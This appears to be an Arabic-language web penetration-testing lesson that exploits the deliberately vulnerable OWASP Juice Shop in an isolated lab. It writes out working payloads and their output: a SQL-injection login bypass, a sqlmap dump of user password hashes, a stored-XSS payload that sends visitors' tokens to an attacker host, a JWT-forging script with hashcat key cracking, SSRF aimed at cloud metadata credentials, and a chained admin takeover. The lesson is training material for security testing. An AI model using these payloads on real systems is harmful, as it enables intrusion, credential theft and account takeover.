OWASP Top 10 — عرض توضيحي موجَّه
OWASP Juice Shop — التطبيق الأكثر حداثة من بين التطبيقات الضعيفة عن قصد، مكتوب بـ Angular + Node.js. نُفكّكه، خمس مرات على التوالي، على خمس فئات مختلفة من الـ Top 10. في كل مرة: طلب، استجابة، أثر.
يعمل Juice Shop على 10.10.10.50 في مختبرك host-only. لا يذهب أي أمر من هذا الدرس إلى الإنترنت.
ما ستتقنه بعد هذا الدرس
- تشغيل Juice Shop عبر Docker.
- استغلال خمس ثغرات من فئات مختلفة.
- كتابة، لكل واحدة، دليل أثر واضح.
- سلسلة IDOR + JWT ضعيف لسيناريو تصعيد كامل.
الخطوة 0 — تشغيل Juice Shop
على آلة افتراضية جديدة بنظام Ubuntu في المختبر، أو على Kali:
docker run -d --name juice -p 3000:3000 bkimminich/juice-shop
من Kali: http://10.10.10.50:3000/ — يظهر المتجر.
اضبط Firefox ليمر عبر Burp Suite (127.0.0.1:8080). أنشئ حساب مستخدم عادي (victime@test.local / Test123!)، وسجّل الدخول. Burp يرى كل شيء.
أنشئ مجلد الأدلة:
mkdir -p ~/labs/semaine-07/preuves
الخطوة 1 — A01: IDOR على سلات الشراء
ملاحظة : سلتك تحمل معرّفًا basketId=6. كل مستخدم له سلّته.
فرضية : ماذا لو غيّرنا المعرّف؟
في Burp HTTP history، ابحث عن الطلب:
GET /rest/basket/6 HTTP/1.1
Host: 10.10.10.50:3000
Authorization: Bearer eyJ0eXAiOi...
Send to Repeater. غيّر 6 إلى 1 :
GET /rest/basket/1 HTTP/1.1
الاستجابة :
{
"status": "success",
"data": {
"id": 1,
"coupon": null,
"UserId": 1,
"createdAt": "2026-03-15T10:12:44.891Z",
"Products": [
{"name": "Apple Juice", "quantity": 3, "price": 1.99},
{"name": "OWASP Juice Shop Logo Sticker", "quantity": 100, "price": 5}
]
}
}
أنت ترى سلة المسؤول. UserId=1 = حساب المسؤول.
دليل الأثر :
الطلب: GET /rest/basket/1 برمز مستخدم عادي
الاستجابة: المحتوى الكامل لسلة المستخدم ذي المعرّف 1 (المسؤول)
الأثر: يمكن لكل مستخدم قراءة سلة أي مستخدم آخر.
في متجر حقيقي، هذا يعادل قراءة طلبات جميع العملاء.
احفظ الطلب + الاستجابة في preuves/A01-idor-panier.md.
الخطوة 2 — A03: حقن SQL في تسجيل الدخول
ملاحظة : يحتوي تسجيل الدخول على حقل بريد إلكتروني وحقل كلمة مرور.
في Burp، اعترض POST /rest/user/login :
{"email":"victime@test.local","password":"Test123!"}
عدِّل :
{"email":"' OR 1=1 --","password":"anything"}
أرسل. الاستجابة :
{
"authentication": {
"token": "eyJ0eXAiOi...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}
أنت الآن المسؤول. جرى تجاوز المصادقة: يصبح الطلب SELECT * FROM Users WHERE email='' OR 1=1 --' AND password='...' ← يُعيد أول سطر، وهو عادة المسؤول.
دليل الأثر :
الطلب: POST /rest/user/login ببريد إلكتروني مفخَّخ
النتيجة: رمز JWT صالح لـ admin@juice-sh.op
الأثر: اختراق كامل للتطبيق عبر حقن SQL
في حقل البريد الإلكتروني لتسجيل الدخول.
سجّل الرمز للاستخدام لاحقًا:
export ADMIN_TOKEN="eyJ0eXAiOi..."
احفظ في preuves/A03-sqli-login.md.
الخطوة 3 — A03 (تابع): حقن SQL باستخدام sqlmap
لنجد حقنًا أكثر كلاسيكية. توجّه إلى http://10.10.10.50:3000/rest/products/search?q=apple. إنها نقطة نهاية بحث.
في Burp، التقط الطلب:
GET /rest/products/search?q=apple HTTP/1.1
Host: 10.10.10.50:3000
احفظه في ملف:
# preuves/req-search.txt
GET /rest/products/search?q=FUZZ HTTP/1.1
Host: 10.10.10.50:3000
شغّل sqlmap :
sqlmap -r preuves/req-search.txt --batch --level=3 --dbs
مخرج نموذجي:
sqlmap identified the following injection point(s):
Parameter: q (GET)
Type: UNION query
Payload: apple' UNION SELECT NULL,NULL,...
available databases [1]:
[*] SQLite_masterdb
جيد، إنها SQLite. لنسرد الجداول:
sqlmap -r preuves/req-search.txt --batch --tables
Database: <current>
[9 tables]
+-------------------+
| Users |
| Products |
| Feedbacks |
| BasketItems |
| ... |
+-------------------+
استخراج 3 مستخدمين:
sqlmap -r preuves/req-search.txt --batch --dump -T Users --start=1 --stop=3
+---+------------------------+--------------------------------+---------+
| id | email | password (md5) | role |
+---+------------------------+--------------------------------+---------+
| 1 | admin@juice-sh.op | 0192023a7bbd73250516f069df18b500 | admin |
| 2 | jim@juice-sh.op | e5a9e79ba99895c40506c5be3f4d2354 | customer|
| 3 | bender@juice-sh.op | 03dfb27506def0d31d5b1e57dc95519f | customer|
+---+------------------------+--------------------------------+---------+
دليل الأثر :
استخراج محدود بثلاثة أسطر (احترامًا لـ RoE).
تجزئة md5 الخاصة بالمسؤول: 0192023a7bbd73250516f069df18b500
→ فُكَّت في 3 ثوانٍ على https://crackstation.net → كلمة المرور "admin123"
الأثر: انطلاقًا من حقن SQL في نقطة نهاية بحث
عامة، استخراج وكسر كلمة مرور المسؤول في أقل من 5 دقائق.
الخطوة 4 — A03: XSS مخزَّنة على صفحة الملف الشخصي
في حسابك، توجّه إلى الملف الشخصي (Profil). يمكنك تغيير اسم المستخدم الخاص بك.
اختبر :
<img src=x onerror="alert(document.cookie)">
احفظ. أعد تحميل صفحة الملف الشخصي. تظهر نافذة منبثقة تعرض الكوكي الخاص بك.
النافذة المنبثقة = POC. نريد الأثر. لنستبدلها بحمولة تُسرّب البيانات:
<img src=x onerror="fetch('http://10.10.10.5:8000/steal?c='+document.cookie)">
على Kali، شغّل خادمًا:
python3 -m http.server 8000
أعد تحميل الصفحة. تعرض طرفية Kali:
10.10.10.50 - - [15/Apr/2026 14:33:12] "GET /steal?c=token=eyJ0eXAi... HTTP/1.1" 200 -
لقد سرّبت رمز JWT الخاص بالزائر الذي حمّل ملفك الشخصي. على صفحة مجتمعية (تعليقات، منتدى)، أي مسؤول يطّلع على رسالتك سيرسل رمزه إلى خادمك.
دليل الأثر :
XSS مخزَّنة في اسم المستخدم (الحمولة: img onerror fetch).
رمز JWT الخاص بأي زائر (بما في ذلك المسؤول) يُسرَّب إلى 10.10.10.5:8000.
الأثر: انتحال كامل للهوية، بما في ذلك هوية المسؤول، بمجرد أن
يمرّ مشرف على صفحة ملفي الشخصي.
احفظ في preuves/A03-xss-stockee.md.
الخطوة 5 — A07: JWT بـ alg=none
لنفكّ تشفير JWT الخاص بالمسؤول الذي حصلنا عليه في الخطوة 2 على jwt.io (أو باستخدام jwt-cli محليًا) :
Header : {"typ":"JWT","alg":"HS256"}
Payload: {
"status":"success",
"data":{"id":1,"email":"admin@juice-sh.op","password":"...","role":"admin"},
"iat":1712345678
}
Signature: <256 bits>
هجوم alg=none : نستبدل HS256 بـ none في الترويسة (header)، ونحذف التوقيع.
بناء يدوي :
import base64, json
header = {"typ":"JWT","alg":"none"}
payload = {"status":"success","data":{"id":1,"email":"admin@juice-sh.op","role":"admin"},"iat":1712345678}
def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
token = f"{b64(header)}.{b64(payload)}."
print(token)
المخرج :
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6...
اختبر :
curl -H "Authorization: Bearer <token-forge>" http://10.10.10.50:3000/rest/user/whoami
الاستجابة :
{"user":{"id":1,"email":"admin@juice-sh.op","role":"admin"}}
على Juice Shop، هذا الهجوم لا ينجح (المكتبة تتحقق)، لكنه ما زال ينجح على كثير من واجهات API الحقيقية المكتوبة بمحلِّلات (parsers) JWT قديمة.
حل بديل ينجح على Juice Shop : نكسر مفتاح HS256 باستخدام Hashcat. استخرج الرمز، واستخرج التوقيع:
hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt
إذا كان المفتاح موجودًا ضمن rockyou.txt (secret، admin، changeme...)، تحصل على المفتاح في ثوانٍ. بعدها تُزوِّر رمز admin موقّعًا بشكل شرعي.
دليل الأثر :
الهجوم: تخمين توقيع JWT عبر قاموس (hashcat -m 16500).
المفتاح المكتشَف: "secret" (10 دقائق)
النتيجة: القدرة على تزوير أي رمز لأي مستخدم.
الأثر: اختراق دائم حتى تدوير مفتاح التوقيع.
الخطوة 6 — A10: SSRF على استيراد صورة
لدى Juice Shop نقطة نهاية upload يمكنها تحميل صورة من رابط URL :
POST /api/User/ HTTP/1.1
Content-Type: application/json
{"picture":"http://<url-controlée>"}
اختبر باستخدام نقطة نهاية بيانات وصف AWS (metadata) (مع أن Juice Shop ليس على AWS، نحاكي المبدأ) :
{"picture":"http://169.254.169.254/latest/meta-data/"}
على مثيل EC2 حقيقي وضعيف، ستحتوي الاستجابة على بيانات الوصف، بما فيها بيانات اعتماد IAM.
للعرض المحلي، لنشغّل خادم اختبار على Kali :
python3 -m http.server 9000 > /tmp/reception.log &
الحمولة (Payload) :
{"picture":"http://10.10.10.5:9000/secret.txt"}
أرسل. راجع /tmp/reception.log :
10.10.10.50 - - [15/Apr/2026 14:41:03] "GET /secret.txt HTTP/1.1" 404 -
الدليل : خادم التطبيق أرسل بالفعل طلبًا إلى عنوان IP الذي اخترته أنت. هذا هو سلوك SSRF.
دليل أثر موسَّع (على هدف سحابي حقيقي) :
الحمولة: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
الاستجابة: {AccessKeyId, SecretAccessKey, Token}
aws sts get-caller-identity ← تأكيد حساب AWS
aws iam list-attached-role-policies ← رؤية كاملة للصلاحيات
الأثر: الانتقال من SSRF على مستوى التطبيق إلى اختراق سحابي.
احفظ في preuves/A10-ssrf.md.
الخطوة 7 — السلسلة: XSS ← سرقة JWT المسؤول ← السيطرة الكاملة
أعد الربط لإظهار قصة هجوم حقيقية :
- XSS مخزَّنة على صفحة ملفي الشخصي (الخطوة 4).
- يطّلع مشرف على صفحتي.
- رمز JWT الخاص بالمشرف يصل إلى خادمي (
10.10.10.5:8000/steal?c=...). - أنسخ هذا الرمز في
Authorization: Bearer ...داخل Burp. - كل الطلبات التي أُجريها الآن تُنفَّذ بهوية المشرف.
- أصل إلى
/rest/admin/users، وإلى/rest/products/create، إلخ. - أغيّر سعر منتج إلى
0.01 $، أُنشئ سلة، وأمرر الطلبية.
ثغرتان منفصلتان (XSS + غياب MFA على حساب المسؤول) مُسلسَلتان = اختراق تجاري.
هذه القصة — لا الحمولات المعزولة — هي ما يظهر في التقرير النهائي.
الحصيلة
في 90 دقيقة، على Juice Shop :
- A01 IDOR — قراءة سلة المسؤول.
- A03 SQLi تسجيل الدخول — تجاوز كامل للمصادقة.
- A03 SQLi البحث — استخراج جدول Users.
- A03 XSS مخزَّنة — تسريب JWT.
- A07 JWT — كسر مفتاح HMAC.
- A10 SSRF — الخادم يرسل ما أريده.
- سلسلة الهجوم : XSS + جلسة المسؤول = اختراق تجاري.
هذه خمسة أدلة أثر في ملف واحد. هذا هو نوع المحتوى الذي يُدرَج في تقرير اختبار اختراق للويب.
الدرس القادم: دورك. تأخذ DVWA أو Juice Shop بمستوى أصعب، وتُسقِط 3 ثغرات على الأقل من فئات مختلفة، مع دليل أثر لكل واحدة.